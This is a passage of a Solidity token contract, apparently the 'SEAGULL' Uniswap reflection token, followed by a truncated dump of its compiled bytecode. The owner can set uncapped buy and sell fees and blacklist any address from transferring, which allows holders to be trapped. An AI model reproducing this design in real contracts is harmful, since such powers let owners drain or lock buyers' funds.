require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+4 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613048565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a5565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa8565b610869565b604051610264919061346f565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f919061348a565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613687565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f55565b6108be565b6040516102f7919061346f565b60405180910390f35b34801561030c57600080fd5b50610315610997565b6040516103229190613687565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d91906136fc565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b6040516103789190613454565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ebb565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613091565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ebb565b610c3e565b60405161041e9190613687565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130be565b610de2565b005b34801561047357600080fd5b5061047c610e81565b6040516104899190613687565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b49190613454565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613091565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b6040516105089190613687565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134a5565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130be565b610fac565b005b34801561057157600080fd5b5061058c600480360381019061058791906130eb565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa8565b611102565b6040516105c2919061346f565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ebb565b611120565b6040516105ff919061346f565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe8565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a9190613687565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f15565b611359565b6040516106a79190613687565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130be565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ebb565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e7565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139d3565b91505061079a565b5050565b60606040518060400160405280600781526020017f53454147554c4c00000000000000000000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f2860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a58906135e7565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906135e7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612353565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906135e7565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906135e7565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600781526020017f53454147554c4c00000000000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611038906135e7565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906135e7565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123c1565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906135e7565b60405180910390fd5b60005b8383905081101561134d5781600560008686858181106112d4576112d3613a7a565b5b90506020020160208101906112e99190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139d3565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906135e7565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90613547565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090613567565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118079190613687565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90613627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134c7565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613607565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906134e7565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613527565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90613587565b60405180910390fd5b6004600854611b7391906137bd565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137bd565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6290613647565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123c1565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee84848484612649565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134a5565b60405180910390fd5b506000838561224b919061389e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a860028461267690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232460028461267690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234f573d6000803e3d6000fd5b5050565b600060065482111561239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613507565b60405180910390fd5b60006123a46126c0565b90506123b9818461267690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f9576123f8613aa9565b5b6040519080825280602002602001820160405280156124275781602001602082028036833780820191505090505b509050308160008151811061243f5761243e613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e157600080fd5b505afa1580156124f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125199190612ee8565b8160018151811061252d5761252c613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f89594939291906136a2565b600060405180830381600087803b15801561261257600080fd5b505af1158015612626573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612657576126566126eb565b5b61266284848461272e565b806126705761266f6128f9565b5b50505050565b60006126b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290d565b905092915050565b60008060006126cd612970565b915091506126e4818361267690919063ffffffff16565b9250505090565b6000600d541480156126ff57506000600e54145b156127095761272c565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b600080600080600080612740876129d2565b95509550955095509550955061279e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287f81612ae2565b6128898483612b9f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e69190613687565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b91906134a5565b60405180910390fd5b50600083856129639190613813565b9050809150509392505050565b600080600060065490506000683635c9adc5dea0000090506129a6683635c9adc5dea0000060065461267690919063ffffffff16565b8210156129c557600654683635c9adc5dea000009350935050506129ce565b81819350935050505b9091565b60008060008060008060008060006129ef8a600d54600e54612bd9565b92509250925060006129ff6126c0565b90506000806000612a128e878787612c6f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b6000808284612a9391906137bd565b905083811015612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf906135a7565b60405180910390fd5b8091505092915050565b6000612aec6126c0565b90506000612b038284612cf890919063ffffffff16565b9050612b5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb482600654612a3a90919063ffffffff16565b600681905550612bcf81600754612a8490919063ffffffff16565b6007819055505050565b600080600080612c056064612bf7888a612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c2f6064612c21888b612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c5882612c4a858c612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c888589612cf890919063ffffffff16565b90506000612c9f8689612cf890919063ffffffff16565b90506000612cb68789612cf890919063ffffffff16565b90506000612cdf82612cd18587612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d0b5760009050612d6d565b60008284612d199190613844565b9050828482612d289190613813565b14612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906135c7565b60405180910390fd5b809150505b92915050565b6000612d86612d818461373c565b613717565b90508083825260208201905082856020860282011115612da957612da8613ae2565b5b60005b85811015612dd95781612dbf8882612de3565b845260208401935060208301925050600181019050612dac565b5050509392505050565b600081359050612df281613ee2565b92915050565b600081519050612e0781613ee2565b92915050565b60008083601f840112612e2357612e22613add565b5b8235905067ffffffffffffffff811115612e4057612e3f613ad8565b5b602083019150836020820283011115612e5c57612e5b613ae2565b5b9250929050565b600082601f830112612e7857612e77613add565b5b8135612e88848260208601612d73565b91505092915050565b600081359050612ea081613ef9565b92915050565b600081359050612eb581613f10565b92915050565b600060208284031215612ed157612ed0613aec565b5b6000612edf84828501612de3565b91505092915050565b600060208284031215612efe57612efd613aec565b5b6000612f0c84828501612df8565b91505092915050565b60008060408385031215612f2c57612f2b613aec565b5b6000612f3a85828601612de3565b9250506020612f4b85828601612de3565b9150509250929050565b600080600060608486031215612f6e57612f6d613aec565b5b6000612f7c86828701612de3565b9350506020612f8d86828701612de3565b9250506040612f9e86828701612ea6565b9150509250925092565b60008060408385031215612fbf57612fbe613aec565b5b6000612fcd85828601612de3565b9250506020612fde85828601612ea6565b9150509250929050565b60008060006040848603121561300157613000613aec565b5b600084013567ffffffffffffffff81111561301f5761301e613ae7565b5b61302b86828701612e0d565b9350935050602061303e86828701612e91565b9150509250925092565b60006020828403121561305e5761305d613aec565b5b600082013567ffffffffffffffff81111561307c5761307b613ae7565b5b61308884828501612e63565b91505092915050565b6000602082840312156130a7576130a6613aec565b5b60006130b584828501612e91565b91505092915050565b6000602082840312156130d4576130d3613aec565b5b60006130e284828501612ea6565b91505092915050565b6000806000806080858703121561310557613104613aec565b5b600061311387828801612ea6565b945050602061312487828801612ea6565b935050604061313587828801612ea6565b925050606061314687828801612ea6565b91505092959194509250565b600061315e838361316a565b60208301905092915050565b613173816138d2565b82525050565b613182816138d2565b82525050565b600061319382613778565b61319d818561379b565b93506131a883613768565b8060005b838110156131d95781516131c08882613152565b97506131cb8361378e565b9250506001810190506131ac565b5085935050505092915050565b6131ef816138e4565b82525050565b6131fe81613927565b82525050565b61320d81613939565b82525050565b600061321e82613783565b61322881856137ac565b935061323881856020860161396f565b61324181613af1565b840191505092915050565b60006132596023836137ac565b915061326482613b02565b604082019050919050565b600061327c603f836137ac565b915061328782613b51565b604082019050919050565b600061329f602a836137ac565b91506132aa82613ba0565b604082019050919050565b60006132c2601c836137ac565b91506132cd82613bef565b602082019050919050565b60006132e56026836137ac565b91506132f082613c18565b604082019050919050565b60006133086022836137ac565b915061331382613c67565b604082019050919050565b600061332b6023836137ac565b915061333682613cb6565b604082019050919050565b600061334e60